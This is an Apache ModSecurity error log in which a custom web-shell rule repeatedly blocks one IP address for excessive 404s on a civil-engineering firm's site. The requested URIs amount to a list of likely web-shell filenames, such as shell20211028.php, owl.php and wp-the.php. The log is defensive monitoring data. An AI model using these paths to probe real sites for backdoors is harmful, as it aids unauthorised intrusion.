[Sun Apr 26 05:07:02.840883 2026] [:error] [pid 8491:tid 8513] [client 20.199.180.228:10221] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ae0s9iq7I7e6CJooQM1_awAAAM4"]
[Sun Apr 26 05:07:03.378704 2026] [:error] [pid 8390:tid 8457] [client 20.199.180.228:14407] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ae0s94GPtFK_i9p5yxQEVgAAAIY"]
[Sun Apr 26 05:07:03.922852 2026] [:error] [pid 31273:tid 31352] [client 20.199.180.228:14350] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ae0s9_hcNJEGrATcuEewxwAAAU0"]
[Sun Apr 26 05:07:04.481620 2026] [:error] [pid 10315:tid 10338] [client 20.199.180.228:14376] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ae0s-KJIw2vjkleLIaB8owAAARU"]
[Sun Apr 26 05:07:05.072920 2026] [:error] [pid 10315:tid 10333] [client 20.199.180.228:10194] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ae0s-aJIw2vjkleLIaB8pQAAARA"]
[Sun Apr 26 05:07:05.576012 2026] [:error] [pid 8390:tid 8455] [client 20.199.180.228:14377] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ae0s-YGPtFK_i9p5yxQEVwAAAIQ"]
[Sun Apr 26 05:07:06.086694 2026] [:error] [pid 41906:tid 41912] [client 20.199.180.228:10236] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ae0s-j3-0A3lxw9OXoDtGQAAAYQ"]
[Sun Apr 26 05:07:06.651007 2026] [:error] [pid 41906:tid 41926] [client 20.199.180.228:10112] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/06.php"] [unique_id "ae0s-j3-0A3lxw9OXoDtHAAAAZI"]
[Sun Apr 26 05:07:07.161746 2026] [:error] [pid 41906:tid 41930] [client 20.199.180.228:10233] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/06.php"] [unique_id "ae0s-z3-0A3lxw9OXoDtHwAAAZY"]
[Sun Apr 26 05:07:07.650937 2026] [:error] [pid 8383:tid 8412] [client 20.199.180.228:14395] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/06.php"] [unique_id "ae0s-9Fa2S3EsATMdWOzIAAAAA8"]
[Sun Apr 26 05:07:08.192196 2026] [:error] [pid 41906:tid 41924] [client 20.199.180.228:10116] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/06.php"] [unique_id "ae0s_D3-0A3lxw9OXoDtJAAAAZA"]
[Sun Apr 26 05:07:08.714495 2026] [:error] [pid 41906:tid 41909] [client 20.199.180.228:14436] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell20211028.php"] [unique_id "ae0s_D3-0A3lxw9OXoDtKAAAAYE"]
[Sun Apr 26 05:07:09.247169 2026] [:error] [pid 41906:tid 41929] [client 20.199.180.228:14441] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell20211028.php"] [unique_id "ae0s_T3-0A3lxw9OXoDtKgAAAZU"]
[Sun Apr 26 05:07:09.776045 2026] [:error] [pid 41906:tid 41918] [client 20.199.180.228:14524] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell20211028.php"] [unique_id "ae0s_T3-0A3lxw9OXoDtLwAAAYo"]
[Sun Apr 26 05:07:10.343645 2026] [:error] [pid 41906:tid 41922] [client 20.199.180.228:14389] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell20211028.php"] [unique_id "ae0s_j3-0A3lxw9OXoDtMQAAAY4"]
[Sun Apr 26 05:07:10.842474 2026] [:error] [pid 8491:tid 8520] [client 20.199.180.228:65448] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owl.php"] [unique_id "ae0s_iq7I7e6CJooQM1_cAAAANU"]
[Sun Apr 26 05:07:11.375544 2026] [:error] [pid 41906:tid 41917] [client 20.199.180.228:65352] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owl.php"] [unique_id "ae0s_z3-0A3lxw9OXoDtNQAAAYk"]
[Sun Apr 26 05:07:11.947167 2026] [:error] [pid 31273:tid 31341] [client 20.199.180.228:14368] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owl.php"] [unique_id "ae0s__hcNJEGrATcuEewzgAAAUQ"]
[Sun Apr 26 05:07:12.447543 2026] [:error] [pid 31273:tid 31350] [client 20.199.180.228:14455] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owl.php"] [unique_id "ae0tAPhcNJEGrATcuEew0AAAAUs"]
[Sun Apr 26 05:07:12.936689 2026] [:error] [pid 31273:tid 31345] [client 20.199.180.228:10122] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hook.php"] [unique_id "ae0tAPhcNJEGrATcuEew0wAAAUc"]
[Sun Apr 26 05:07:13.490823 2026] [:error] [pid 31273:tid 31353] [client 20.199.180.228:14415] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hook.php"] [unique_id "ae0tAfhcNJEGrATcuEew1wAAAU4"]
[Sun Apr 26 05:07:14.004478 2026] [:error] [pid 8491:tid 8510] [client 20.199.180.228:14380] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hook.php"] [unique_id "ae0tAiq7I7e6CJooQM1_cQAAAMs"]
[Sun Apr 26 05:07:14.507100 2026] [:error] [pid 41906:tid 41931] [client 20.199.180.228:65456] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hook.php"] [unique_id "ae0tAj3-0A3lxw9OXoDtOgAAAZc"]
[Sun Apr 26 05:07:15.095937 2026] [:error] [pid 41906:tid 41923] [client 20.199.180.228:14366] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "ae0tAz3-0A3lxw9OXoDtPQAAAY8"]
[Sun Apr 26 05:07:15.640909 2026] [:error] [pid 41906:tid 41912] [client 20.199.180.228:10195] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "ae0tAz3-0A3lxw9OXoDtQAAAAYQ"]
[Sun Apr 26 05:07:16.217634 2026] [:error] [pid 41906:tid 41916] [client 20.199.180.228:10223] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "ae0tBD3-0A3lxw9OXoDtQwAAAYg"]
[Sun Apr 26 05:07:16.719516 2026] [:error] [pid 8491:tid 8515] [client 20.199.180.228:14390] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file59.php"] [unique_id "ae0tBCq7I7e6CJooQM1_dwAAANA"]
[Sun Apr 26 05:07:17.278878 2026] [:error] [pid 8385:tid 8425] [client 20.199.180.228:14445] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "ae0tBTOy7_J84Wx3-oxT5gAAAEE"]
[Sun Apr 26 05:07:17.820375 2026] [:error] [pid 8390:tid 8475] [client 20.199.180.228:65447] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "ae0tBYGPtFK_i9p5yxQEWQAAAJg"]
[Sun Apr 26 05:07:18.347032 2026] [:error] [pid 41906:tid 41910] [client 20.199.180.228:14518] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "ae0tBj3-0A3lxw9OXoDtRwAAAYI"]
[Sun Apr 26 05:07:18.987351 2026] [:error] [pid 41906:tid 41921] [client 20.199.180.228:65429] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "ae0tBj3-0A3lxw9OXoDtSgAAAY0"]
[Sun Apr 26 05:07:19.556203 2026] [:error] [pid 41906:tid 41915] [client 20.199.180.228:10135] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "ae0tBz3-0A3lxw9OXoDtTQAAAYc"]
[Sun Apr 26 05:07:20.165945 2026] [:error] [pid 8385:tid 8433] [client 20.199.180.228:10183] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "ae0tCDOy7_J84Wx3-oxT6AAAAEk"]
[Sun Apr 26 05:07:20.709867 2026] [:error] [pid 41906:tid 41923] [client 20.199.180.228:10206] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "ae0tCD3-0A3lxw9OXoDtTwAAAY8"]
[Sun Apr 26 05:07:21.261928 2026] [:error] [pid 31273:tid 31346] [client 20.199.180.228:10199] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/less.php"] [unique_id "ae0tCfhcNJEGrATcuEew2QAAAUg"]
[Sun Apr 26 05:07:21.796573 2026] [:error] [pid 31273:tid 31349] [client 20.199.180.228:65433] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clirp.php"] [unique_id "ae0tCfhcNJEGrATcuEew2gAAAUo"]
[Sun Apr 26 05:07:22.347808 2026] [:error] [pid 10315:tid 10326] [client 20.199.180.228:14396] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clirp.php"] [unique_id "ae0tCqJIw2vjkleLIaB8rQAAAQk"]
[Sun Apr 26 05:07:22.952851 2026] [:error] [pid 31273:tid 31359] [client 20.199.180.228:14515] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clirp.php"] [unique_id "ae0tCvhcNJEGrATcuEew3wAAAVQ"]
[Sun Apr 26 05:07:23.492452 2026] [:error] [pid 8390:tid 8470] [client 20.199.180.228:14369] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clirp.php"] [unique_id "ae0tC4GPtFK_i9p5yxQEXAAAAJM"]
[Sun Apr 26 05:07:24.012260 2026] [:error] [pid 31273:tid 31356] [client 20.199.180.228:10130] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ae0tDPhcNJEGrATcuEew4gAAAVE"]
[Sun Apr 26 05:07:24.540761 2026] [:error] [pid 8385:tid 8444] [client 20.199.180.228:65441] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ae0tDDOy7_J84Wx3-oxT8QAAAFQ"]
[Sun Apr 26 05:07:25.086754 2026] [:error] [pid 41906:tid 41922] [client 20.199.180.228:65359] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ae0tDT3-0A3lxw9OXoDtVgAAAY4"]
[Sun Apr 26 05:07:25.646823 2026] [:error] [pid 31273:tid 31363] [client 20.199.180.228:14462] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ae0tDfhcNJEGrATcuEew5wAAAVg"]
[Sun Apr 26 05:07:26.170029 2026] [:error] [pid 41906:tid 41908] [client 20.199.180.228:65345] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wkdec.php"] [unique_id "ae0tDj3-0A3lxw9OXoDtWAAAAYA"]
[Sun Apr 26 05:07:26.671282 2026] [:error] [pid 8491:tid 8524] [client 20.199.180.228:65444] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wkdec.php"] [unique_id "ae0tDiq7I7e6CJooQM1_fwAAANg"]
[Sun Apr 26 05:07:27.191409 2026] [:error] [pid 8491:tid 8505] [client 20.199.180.228:65385] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wkdec.php"] [unique_id "ae0tDyq7I7e6CJooQM1_gQAAAMY"]
[Sun Apr 26 05:07:27.693577 2026] [:error] [pid 10315:tid 10329] [client 20.199.180.228:10193] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wkdec.php"] [unique_id "ae0tD6JIw2vjkleLIaB8sAAAAQw"]
[Sun Apr 26 05:07:28.221260 2026] [:error] [pid 8390:tid 8461] [client 20.199.180.228:14538] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ae0tEIGPtFK_i9p5yxQEYAAAAIo"]
[Sun Apr 26 05:07:28.791432 2026] [:error] [pid 8491:tid 8508] [client 20.199.180.228:14378] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ae0tECq7I7e6CJooQM1_hgAAAMk"]
[Sun Apr 26 05:07:29.304893 2026] [:error] [pid 41906:tid 41914] [client 20.199.180.228:65439] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ae0tET3-0A3lxw9OXoDtXQAAAYY"]
[Sun Apr 26 05:07:29.822293 2026] [:error] [pid 8491:tid 8512] [client 20.199.180.228:65446] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ae0tESq7I7e6CJooQM1_jQAAAM0"]
[Sun Apr 26 05:07:30.355193 2026] [:error] [pid 8390:tid 8453] [client 20.199.180.228:14361] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ae0tEoGPtFK_i9p5yxQEZQAAAII"]
[Sun Apr 26 05:07:30.904307 2026] [:error] [pid 8385:tid 8446] [client 20.199.180.228:65449] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ae0tEjOy7_J84Wx3-oxT9gAAAFY"]
[Sun Apr 26 05:07:31.455366 2026] [:error] [pid 8383:tid 8409] [client 20.199.180.228:65468] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ae0tE9Fa2S3EsATMdWOzKgAAAAw"]
[Sun Apr 26 05:07:31.984314 2026] [:error] [pid 10315:tid 10338] [client 20.199.180.228:10230] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ae0tE6JIw2vjkleLIaB8tgAAARU"]
[Sun Apr 26 05:07:32.505029 2026] [:error] [pid 10315:tid 10333] [client 20.199.180.228:14365] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "ae0tFKJIw2vjkleLIaB8uAAAARA"]
